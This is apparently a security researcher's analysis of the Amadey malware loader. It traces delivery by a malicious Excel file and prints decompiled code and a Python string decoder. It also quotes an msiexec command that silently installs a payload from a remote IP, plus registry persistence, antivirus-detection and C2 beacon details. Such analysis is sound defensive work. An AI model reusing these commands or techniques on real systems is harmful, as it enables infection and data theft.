

Analyzing Amadey

nao-sec.org/2019/04/Analyzing-amadey.html



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Initial Access

Amedey is installed by msiexec.exe when you open a malicious excel file. From the document file technique, the threat actor is considered TA505.

The screenshot shows a Microsoft Excel spreadsheet titled '6CF2C26A_Factura_FMCS027_20190424.xls' in compatibility mode. A watermark in the center of the sheet reads: '1. Abra el documento en Microsoft Office. La vista previa en línea no está disponible para documentos protegidos.' Below this, another section says: '2. Si este documento se descargó de su correo electrónico, haga clic en Habilitar edición en la barra amarilla arriba.' and '3. Una vez que haya habilitado la edición, haga clic en Habilitar contenido en la barra amarilla de arriba.' To the right of the Excel window, a task manager-like interface displays several processes: EXCELEXE /dde, mslexec.exe STOP=1, mslexec.exe /, MSI715.Cmp, cmualrc.exe, and REG.exe. The cmualrc.exe process is highlighted with a red circle and labeled 'Malicious'.

<https://app.any.run/tasks/3430e711-7bb1-49b4-ac07-86b1a6b5c784>

The download URL is as follows:

```
msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw=%TEMP%
```

First payload

First payload is packed. Extract the original PE using the hollows_hunter mode of tknk_scanner.

The screenshot shows the VirusTotal analysis results for the file '400801441312-107-0_1.dom2.doc.hidden1.exe'. The analysis is successful, indicated by a green checkmark icon and the word 'Success!'. The file details include: File Name: 400801441312-107-0_1.dom2.doc.hidden1.exe, Size: 148.2KB, Magic: PE32 executable (GUI) Intel 80386, for MS Windows, MD5: fbe6d341c1b69975be74616d01c6d273, SHA-1: ea7c8368e7c9be272d7ec8975743df5950:9f739, SHA-256: ec6097c4fdb0736e416b58be0a4dd042c46a9cf7eeff97b, and VirusTotal status: Found. The AV Class section lists zlob (4), zenpak (2), and genkryptik (2). The Detect Rule section shows 'No rule detects'. The Dump Files section lists the dumped file '400000.cmualrc.exe' with a size of 28.7KB and an Amadey detection.

Amadey

The dumped PE is compiled with MinGW.

```
PE: compiler: MinGW(-)[-]
PE: linker: GNU linker ld (GNU Binutils)(2.56*)[EXE32]
```

It contains symbol information. Amedey has the following functions:

```
_Z10aBypassUACv
_Z10aCharToIntPc
_Z10aGetOsArchv
_Z10aIntToChari
_Z11aAutoRunSetPc
_Z11aCheckAdminv
_Z11aCreateFilePc
_Z11aFileExistsPKc
_Z11aGetTempDirv
_Z11aProcessDllPcs_
_Z11aProcessExePcs_S_S_
_Z11aRunAsAdminPc
_Z12aGetHostNamev
_Z12aGetSelfPathv
_Z12aGetUserNamev
_Z12aProcessTaskPc
_Z12aResolveHostPc
_Z12aWinSockPostPcs_S_
_Z13aDropToSystemPc
_Z13aGetProcessILv
_Z14aCreateProcessPc
_Z14aGetProgramDirv
_Z15aUrlMonDownloadPcs_
_Z16aDirectoryExistsPc
_Z16aExtractFileNamePc
_Z16aGetHomeDriveDirv
_Z16aProcessDllLocalPcs_S_S_
_Z16aProcessExeLocalPcs_S_S_
_Z19aGetSelfDestinationi
_Z5aCopyPci
_Z5aParsePcs_
_Z6aBasici
_Z6aGetIdv
_Z6aGetOsv
_Z6aMkdirPc
_Z7aPathAVPc
_Z7aRaportPcs_
_Z8aCheckAVv
_Z8aDecryptPc
_Z8aPosLastPcs_
_Z9aCopyFilePcs_
_Z9aFileSizePc
_Z9aFillCharPc
_Z9aFreeFilePc
_Z9aPosFirstPcs_
_Z9aRunDll32Pcs_
```

The main function is as follows.

```
int __cdecl main(int _Argc,char **_Argv,char **_Env)
{
    char *pcVar1;

        /* 0x3ac8  97  main */
    FUN_00404020();
    FUN_00403cc0();
    _Z10aBypassUACv();
    pcVar1 = _Z12aGetSelfPathv();
    _Z13aDropToSystemPc(pcVar1);
    pcVar1 = _Z19aGetSelfDestinationi(0);
    _Z11aAutoRunSetPc(pcVar1);
    _Z6aBasici(0);
    return 0;
}
```

The _Z6aBasici function is as follows.

```

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void __cdecl _Z6aBasici(int param_1)

{
    char *_Source;
    uint uVar1;
    int iVar2;

        /* 0x33fe 32 _Z6aBasici */
    FUN_00404020();
    _Z9aFillCharPc(&stack0xfffffeff4);
    _Z9aFillCharPc(&stack0xfffffdf4);
    _Z9aFillCharPc(&stack0xfffffdbf4);
    _Source = _Z8aDecryptPc(&aDomain);
    strcat(&stack0xfffffdf4,_Source);
    _Source = _Z8aDecryptPc(&aScript);
    strcat(&stack0xfffffdbf4,_Source);
    _Source = _Z8aDecryptPc(&aParam0);
    strcat(&stack0xfffffeff4,_Source);
    _Source = _Z6aGetIdv();
    strcat(&stack0xfffffeff4,_Source);
    _Source = _Z8aDecryptPc(&aParam1);
    strcat(&stack0xfffffeff4,_Source);
    _Source = _Z8aDecryptPc(&aVers);
    strcat(&stack0xfffffeff4,_Source);
    uVar1 = _Z11aCheckAdminv();
    if ((uVar1 & 0xff) == 1) {
        _Source = _Z8aDecryptPc(&aParam2);
        strcat(&stack0xfffffeff4,_Source);
        strcat(&stack0xfffffeff4,"1");
    }
    else {
        _Source = _Z8aDecryptPc(&aParam2);
        strcat(&stack0xfffffeff4,_Source);
        strcat(&stack0xfffffeff4,"0");
    }
    _Source = _Z8aDecryptPc(&aParam3);
    strcat(&stack0xfffffeff4,_Source);
    _Source = _Z10aGetOsArchv();
    strcat(&stack0xfffffeff4,_Source);
    _Source = _Z8aDecryptPc(&aParam4);
    strcat(&stack0xfffffeff4,_Source);
    _Source = _Z10aIntToChari(param_1);
    strcat(&stack0xfffffeff4,_Source);
    _Source = _Z8aDecryptPc(&aParam5);
    strcat(&stack0xfffffeff4,_Source);
    iVar2 = _Z6aGetOsv();
    _Source = _Z10aIntToChari(iVar2);
    strcat(&stack0xfffffeff4,_Source);
    _Source = _Z8aDecryptPc(&aParam6);
    strcat(&stack0xfffffeff4,_Source);
    uVar1 = _Z8aCheckAVv();
    _Source = _Z10aIntToChari(uVar1);
    strcat(&stack0xfffffeff4,_Source);
}

```

```

_Source = _Z8aDecryptPc(&aParam7);
strcat(&stack0xfffffeff4,_Source);
_Source = _Z12aGetHostNamev();
strcat(&stack0xfffffeff4,_Source);
_Source = _Z8aDecryptPc(&aParam8);
strcat(&stack0xfffffeff4,_Source);
_Source = _Z12aGetUserNamev();
strcat(&stack0xfffffeff4,_Source);
strcat(&stack0xfffffeff4,"&");
if (param_1 == 0) {
    do {
        _Z9aFillCharPc(&stack0xfffffdff4);
        _Source =
_Z12aWinSockPostPcS_S_(&stack0xfffffddf4,&stack0xfffffdbf4,&stack0xfffffeff4);
        strcat(&stack0xfffffdff4,_Source);
        _Z5aParsePcS_(&stack0xfffffdff4,"#");
        Sleep(_aTimeOut);
    } while( true );
}
if (param_1 == 1) {
    _Z12aWinSockPostPcS_S_(&stack0xfffffddf4,&stack0xfffffdbf4,&stack0xfffffeff4);
}
return;
}

```

Some important parameters are encoded. However, the encoding algorithm is very simple.

```

C:\Decompile: _Z8aDecryptPc - (400000.cmualrc.exe)

1
2 undefined * __cdecl _Z8aDecryptPc(char *param_1)
3
4 {
5     size_t sVar1;
6     uint local_10;
7
8         /* 0x1290 39 _Z8aDecryptPc */
9     memset(&DAT_00408010,0,0x400);
10    local_10 = 0;
11    while( true ) {
12        sVar1 = strlen(param_1);
13        if (sVar1 <= local_10) break;
14        sVar1 = strlen(aKey);
15        (&DAT_00408010)[local_10] = param_1[local_10] - aKey[local_10 % sVar1];
16        local_10 = local_10 + 1;
17    }
18    return &DAT_00408010;
19 }
20

```

key is 8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7

004012d7 8b 5d f4	MOV	EBX,dword ptr [EBP + local_10]
004012da 01 c3	ADD	EBX,EAX
004012dc c7 04 24	MOV	dword ptr [ESP]=>local_1c,aKey
00 50 40 00		= "8ebd3994693b0d4976021758c2d7b...
004012e3 e8 f8 2e	CALL	strlen
00 00		size_t strlen(char * _Str)

Finally, we analyze the decoded string and the name of the function in which it was used.

- _Z11aAutoRunSetPc
 - AutoRunCmd : REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d
- _Z8aCheckAVv
 - AV00 : AVAST Software
 - AV01 : Avira
 - AV02 : Kaspersky Lab
 - AV03 : ESET
 - AV04 : Panda Security
 - AV05 : Doctor Web
 - AV06 : AVG
 - AV07 : 360TotalSecurity
 - AV08 : Bitdefender
 - AV09 : Norton
 - AV10 : Sophos
 - AV11 : Comodo
- _Z12aWinSockPostPcs_S_
 - CMD0 : <c>
 - CMD1 : <d>
- _Z11aProcessDllPcs_
 - dll : dll
- _Z7aRaportPcs_, _Z6aBasicI
 - domain : gohaiendo[.]com
- _Z19aGetSelfDestinationi
 - DropDir : f64a428dfd
 - DropName : cmualrc.exe
- _Z11aProcessExePcs_S_S_
 - exe : exe
- _Z14aGetProgramDirv
 - GetProgDir : ProgramData\
- _Z10aGetOsArchv, _Z6aGetOsv
 - OS_AR0 : kernel32.dll
 - OS_AR1 : GetNativeSystemInfo

- _Z6aBasici
 - Param0 : id=
 - Param1 : &vs=
 - Param2 : &ar=
 - Param3 : &bi=
 - Param4 : &lv=
 - Param5 : &os=
 - Param6 : &av=
 - Param7 : &pc=
 - Param8 : &un=
 - Vers : 1.22
 - Zoneldent : `:Zone.Identifier`
- _Z12aWinSockPostPcs_S_
 - Post0 : 1310
 - Post1 : HTTP/1.1
 - Post2 : Accept: /
 - Post3 : Content-Type: application/x-www-form-urlencoded
 - Post4 : Host:
 - Post5 : Content-Length:
 - Post6 : POST /
- _Z11aRunAsAdminPc
 - RunAs : runas
- _Z9aRunDll32Pcs_
 - RunDll_0 : rundll32.exe
- _Z7aRaportPcs_, _Z6aBasici
 - Script : ppk/index.php
- _Z11aCheckAdminv
 - Shell : SHELL32.DLL
- _Z14aCreateProcessPc, _Z6aBasici
 - TimeOut : 40133-98-10017
- _Z15aUrlMonDownloadPcs_
 - URLMon_0 : urlmon
 - URLMon_1 : URLDownloadToFileA

Here is the simple python script.

```

''''
domain=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D]
AutoRunCmdr=[0x8A, 0xAA, 0xA9, 0x84, 0x74, 0x7D, 0x54, 0x58, 0x81, 0x7E, 0xA5,
0x85, 0xC0, 0x87, 0xA8, 0x9D, 0xAA, 0xA7, 0x93, 0xA3, 0x9C, 0x91, 0x85, 0xCC, 0x95,
0xD6, 0xA6, 0xD5, 0xD5, 0xCC, 0xAB, 0x95, 0x8A, 0xCB, 0x9E, 0xC8, 0xA3, 0xB0, 0xAA,
0x92, 0x73, 0xA7, 0xA3, 0xA9, 0x9A, 0xA6, 0xD7, 0x88, 0xC9, 0xA9, 0xD5, 0xCF, 0xD5,
0xA5, 0x94, 0xAA, 0xDA, 0xD4, 0x9F, 0xA8, 0xAB, 0x99, 0xA8, 0x95, 0x88, 0xD5, 0x95,
0xD6, 0x54, 0x8C, 0x9F, 0x9B, 0x9C, 0x9E, 0x51, 0x7D, 0xA4, 0x4, 0xC7, 0x97, 0xD6,
0xAA, 0x84, 0x86, 0x95, 0x9D, 0x59, 0x62, 0xD8, 0x50, 0xB7, 0xA8, 0x9A, 0xA9, 0xAA,
0xA5, 0xA2, 0x51, 0x66, 0xA9, 0x58, 0xB5, 0x77, 0xAB, 0x96, 0xB5, 0xC0, 0x86, 0x66,
0x9C, 0x85]
AV00=[0x79, 0xBB, 0xA3, 0xB7, 0x87, 0x59, 0x8C, 0xA3, 0x9C, 0xAD, 0xAA, 0xC3, 0xA2,
0xC9]#AV00
AV01=[0x79, 0xDB, 0xCB, 0xD6, 0x94]
AV02=[0x83, 0xC6, 0xD5, 0xD4, 0x98, 0xAB, 0xAC, 0x9F, 0xAF, 0x59, 0x7F, 0xC3, 0x92]
AV03=[0x7D, 0xB8, 0xA7, 0xB8]
AV04=[0x88, 0xC6, 0xD0, 0xC8, 0x94, 0x59, 0x8C, 0x99, 0x99, 0xAE, 0xA5, 0xCB, 0xA4,
0xDD]
AV05=[0x7C, 0xD4, 0xC5, 0xD8, 0xA2, 0xAB, 0x59, 0x8B, 0x9B, 0x9B]
AV06=[0x79, 0xBB, 0xA9]
AV07=[0x6B, 0x9B, 0x92, 0xB8, 0xA2, 0xAD, 0x9A, 0xA0, 0x89, 0x9E, 0x96, 0xD7, 0xA2,
0xCD, 0xA8, 0xB2]
AV08=[0x7A, 0xCE, 0xD6, 0xC8, 0x98, 0x9F, 0x9E, 0xA2, 0x9A, 0x9E, 0xA5]
AV09=[0x86, 0xD4, 0xD4, 0xD8, 0xA2, 0xA7]
AV10=[0x8B, 0xD4, 0xD2, 0xCC, 0xA2, 0xAC]
AV11=[0x7B, 0xD4, 0xCF, 0xD3, 0x97, 0xA8]
CMD0=[0x74, 0xC8, 0xA0]
CMD1=[0x74, 0xC9, 0xA0]
DLL=[0x9C, 0xD1, 0xCE]
DropDir=[0x9E, 0x9B, 0x96, 0xC5, 0x67, 0x6B, 0x71, 0x98, 0x9C, 0x9D]
DropName=[0x9B, 0xD2, 0xD7, 0xC5, 0x9F, 0xAB, 0x9C, 0x62, 0x9B, 0xB1, 0x98]
exe=[0x9D, 0xDD, 0xC7]
GetProgDir=[0x88, 0xD7, 0xD1, 0xCB, 0xA5, 0x9A, 0xA6, 0x78, 0x97, 0xAD, 0x94, 0xBE]
OS_AR0=[0xA3, 0xCA, 0xD4, 0xD2, 0x98, 0xA5, 0x6C, 0x66, 0x64, 0x9D, 0x9F, 0xCE]
OS_AR1=[0x7F, 0xCA, 0xD6, 0xB2, 0x94, 0xAD, 0xA2, 0xAA, 0x9B, 0x8C, 0xAC, 0xD5, 0xA4,
0xC9, 0xA1, 0x82, 0xA5, 0x9C, 0x9F]
Param0=[0xA1, 0xC9, 0x9F]
Param1=[0x5E, 0xDB, 0xD5, 0xA1]
Param2=[0x5E, 0xC6, 0xD4, 0xA1]
Param3=[0x5E, 0xC7, 0xCB, 0xA1]
Param4=[0x5E, 0xD1, 0xD8, 0xA1]
Param5=[0x5E, 0xD4, 0xD5, 0xA1]
Param6=[0x5E, 0xC6, 0xD8, 0xA1]
Param7=[0x5E, 0xD5, 0xC5, 0xA1]
Param8=[0x5E, 0xDA, 0xD0, 0xA1]
Post0=[0x45, 0x6F]
Post1=[0x58, 0xAD, 0xB6, 0xB8, 0x83, 0x68, 0x6A, 0x62, 0x67]
Post2=[0x79, 0xC8, 0xC5, 0xC9, 0xA3, 0xAD, 0x73, 0x54, 0x60, 0x68, 0x5D]
Post3=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x8A, 0xB2, 0xA3, 0xC7, 0x6A,
0x84, 0x95, 0xA9, 0xA7, 0xA2, 0x99, 0x95, 0x92, 0xAB, 0x9E, 0xA7, 0xD1, 0x61, 0xDC,
0x64, 0xD9, 0xDD, 0xDD, 0x64, 0x9F, 0xA2, 0xD4, 0x9D, 0x91, 0xA9, 0xAB, 0xA3, 0x9B,
0x9E, 0x95, 0xA0, 0x9B, 0x9A, 0x9C]
Post4=[0x80, 0xD4, 0xD5, 0xD8, 0x6D, 0x59]
Post5=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x82, 0x9E, 0xA1, 0xC9, 0xA4,
0xCC, 0x6E, 0x59]

```

```

Post6=[0x88, 0xB4, 0xB5, 0xB8, 0x53, 0x68]
RunAs=[0xAA, 0xDA, 0xD0, 0xC5, 0xA6]
RunDll_0=[0xAA, 0xDA, 0xD0, 0xC8, 0x9F, 0xA5, 0x6C, 0x66, 0x64, 0x9E, 0xAB, 0xC7,
0x50]
Script=[0xA8, 0xD5, 0xCD, 0x93, 0x9C, 0xA7, 0x9D, 0x99, 0xAE, 0x67, 0xA3, 0xCA, 0xA0]
Shell=[0x8B, 0xAD, 0xA7, 0xB0, 0x7F, 0x6C, 0x6B, 0x62, 0x7A, 0x85, 0x7F]
TimeOut=[0x60, 0xEA, 0x00, 0x00, 0x44]
URLMon_0=[0xAD, 0xD7, 0xCE, 0xD1, 0xA2, 0xA7]
URLMon_1=[0x8D, 0xB7, 0xAE, 0xA8, 0xA2, 0xB0, 0xA7, 0xA0, 0xA5, 0x9A, 0x97, 0xB6,
0x9F, 0xAA, 0x9D, 0xA5, 0x9C, 0x77]
Vers=[0x69, 0x93, 0x94, 0x96]
ZoneIdent =[0x72, 0xBF, 0xD1, 0xD2, 0x98, 0x67, 0x82, 0x98, 0x9B, 0xA7, 0xA7, 0xCB,
0x96, 0xCD, 0x99, 0xAB]
'''

encoded_str=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1,
0x9D]

Key="8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7"
c=0

while(1):
    length = len(encoded_str)
    if length <= c:
        break
    length = len(Key);
    print(chr(encoded_str[c] - ord(Key[c % length])), end=' ')
    #print(encoded_str[c] - ord(Key[c % length]), end=' ')
    c += 1

```

References

<https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/>